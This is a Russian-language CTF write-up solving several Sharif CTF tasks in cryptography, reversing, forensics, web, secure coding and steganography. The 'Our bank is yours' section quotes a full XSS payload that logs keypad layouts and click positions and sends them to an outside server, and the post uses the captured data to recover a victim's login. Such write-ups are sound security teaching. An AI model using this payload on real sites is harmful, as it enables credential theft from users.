Прохождение некоторых заданий Sharif CTF
Rolling hash
Количество очков: 30
Категория: криптография
В качестве задания дается исходный код на Python:
flag="*********"
def RabinKarpRollingHash( str, a, n ):
result = 0
l = len(str)
for i in range(0, l):
result += ord(str[i]) * a ** (l - i - 1) % n
print "result = ", result
RabinKarpRollingHash(flag, 256, 10**30)
И результат работы скрипта: 1317748575983887541099.
Код представляет из себя реализацию кольцевого хэша Рабина-Карпа. Для поиска изначального значения я пошел по пути наименьшего сопротивления. Установив изначальным положением флага в ” ” (9 пробелов), я принялся к изучению результата работы функции и выходного результата от каждого из символов в флаге. Изменяя каждый символ, меняется и финальный результат, причём на постоянное значение. Учитывая это, можно менять каждый из символов и сравнивать значение функции с необходимой нам, в результате был написан скрипт для автовосстановления исходного флага.
#!/usr/bin/env python
flag = list(" ")
result = 1317748575983887541099
def RabinKarpRollingHash( data ):
result = 0
l = len(data)
for i in range(0, l):
result += ord( data[i]) * 256 ** (l - i - 1) % 10**30
return result
for i in range(0, len(flag)):
for c in range(1, 255):
flag[i] = chr(c)
check = RabinKarpRollingHash("".join(flag))
if check <= result:
continue
else:
flag[i] = chr(c - 1)
print check
break
print(flag)
Запустив скрипт получаем результат.
Guess the number
Количество очков: 30
Категория: реверсинг
Дан jar файл, для работы понадобится JD-GUI.
Открываем файл в декомпиляторе и видим класс guess, в котором реализовано два метода: XOR и main.
Параметры нужны для отвлечения внимания. Для получения флага достаточно проксорить 2 строки. Воспользуемся онлайн компилятором ideone.
import java.util.*;
import java.lang.*;
import java.io.*;
import java.io.PrintStream;
import java.math.BigInteger;
class Ideone
{
static String XOR(String _str_one, String _str_two) {
BigInteger i1 = new BigInteger(_str_one, 16);
BigInteger i2 = new BigInteger(_str_two, 16);
BigInteger res = i1.xor(i2);
String result = res.toString(16);
return result;
}
public static void main (String[] args) throws java.lang.Exception
{
String str_one = "4b64ca12ace755516c178f72d05d7061";
String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
String answer = XOR(str_one, str_two);
System.out.println("your flag is: " + answer);
}
}
В результате получаем флаг: “a7b08c546302cc1fd2a4d48bf2bf2ddb”
Recover deleted file
Количество очков: 40
Категория: форензик
Для получения флага нужно восстановить удаленные файлы из образа файловой системы.
root@laptop-vm:~/Desktop/$ file disk-image
disk-image: Linux rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbd7a88
Для восстановления воспользуемся утилитой extundelete
extundelete disk-image --restore-all
В директории RECOVERED_FILES появляется файл flag.
root@laptop-vm:~/Desktop/RECOVERED_FILES$
file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x0bc06819ef5f9b1c94cbffa944b767cbf442c9aa, not stripped
К сожалению у меня нет x86_64 системы для запуска эльфа, зато есть IDA 😉
Загрузив файл в дизассемблер находим интересную строку: aYourFlagls. Перейдя на место, где она используется находятся “мувы” и _puts для вывода информации. Меняем шестнадцатеричное представление аргументов для mov в ASCII и собираем флаг “de6838252f95d3b9e803b28df33b4baa“.
Our bank is yours
Количество очков: 200
Категория: веб, форензик
В этом архиве находится дамп трафика. Нужно доказать, что через XSS увели данные.
Гуляя по пакетам с помощью Wireshark, находим письмо Бобу с текстом:
Dear Bob,
Have you seen new offers of Our Bank? They will surprise you:
<a href='http://ctf.sharif.edu:45656/?username=<script>setTimeout("sendmap();",1000);document.body.addEventListener("click",clickdone,false);function sendmap(){var buttons=document.getElementsByClassName("keypadButtonStyle");var keymap="";for(var i=0;i<buttons.length;i%2B%2B)keymap%2B=buttons[i].value;var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=m%26v="%2Bkeymap,false);xmlhttp.send();}function clickdone(e){var xPosition=e.clientX;var yPosition=e.clientY;var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=c%26v="%2BxPosition%2B","%2ByPosition,false);xmlhttp.send();}</script>&password='>http://ctf.sharif.edu</a>
Your friend,
Bob's friend
После перехода по ссылке все наши действия лоируются и отправляются на сервер злоумышленнику. Кнопки с цифрами каждый раз имеют новое положение. Находим в дампе http запрос, в котором передается расположение кнопок:
GET /c.php?t=m&v=%20%204%20%20%20%201%20%20%20%206%20%20%20%203%20%20%20%207%20%20%20%200%20%20%20%208%20%20%20%209%20%20%20%205%20%20%20%202%20%20%20Backspace HTTP/1.1
Host: 95.211.102.232:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://ctf.sharif.edu:45656
Connection: keep-alive
Применив urldecode, получаем расположение кнопок во время ввода логина и пароля Бобом: (4 1 6 3 7 0 8 9 5 2 Backspace). С помощью Firebug меняем свои значения кнопок на Бобовские.
Кроме этого в дампе присутствуют логи о нажатиях на кнопки в виде координат. При помощи паинта я водил курсором по координатам и смотрим находящиеся под ними цифры. Всё просто.
Получаем user:61534 и password:4793162305; войдя с этими данными получаем флаг: “1bcef0620c8505a894fa61d911029c07“.
Secure coding #1
Количество очков: 100
Категория: кодинг
В полученном файле находятся уязвимости, необходимо их исправить.
С устранением уязвимостей скрипт приобретает такой вид:
#include <stdio.h>
#include <string.h>
#define LENGTH 50
#define str(x) # x
#define xstr(x) str(x)
int main()
{
char str[1000];
printf("SPLITTER\n");
printf("--------\n");
printf("\n");
str[0] = 0;
while (1)
{
char temp[50 + 1];
int rc;
rc = scanf("%" xstr(LENGTH) "s", temp);
if (strcmp(temp, ".") == 0)
break;
if((strlen(str) + strlen(temp)) < 999){
strncat(str, temp, 1000);
strncat(str, "\n", sizeof(str));
}
}
printf("\n%s\n", str);
return 0;
}
What is this
Количество очков: 20
Категория: стеганография
Дан архив с двумя изображениями. Для решения задания можно воспользоваться инструментом Stegsolve (помогает при прохождении многих CTF).
Открываем первое изображение, идем в Меню -> Analyse -> Image Combiner и выбираем второе изображение.
В режиме XOR видим флаг “AZADI TOWER“.
2 replies to “Прохождение некоторых заданий Sharif CTF”
Bro
А зачем в секьюре getchar() и feof. Никак не мог найти эту уязвимость тогда.
VY_CMa
Похоже, что это случайно сюда попало. Спасибо, поправил.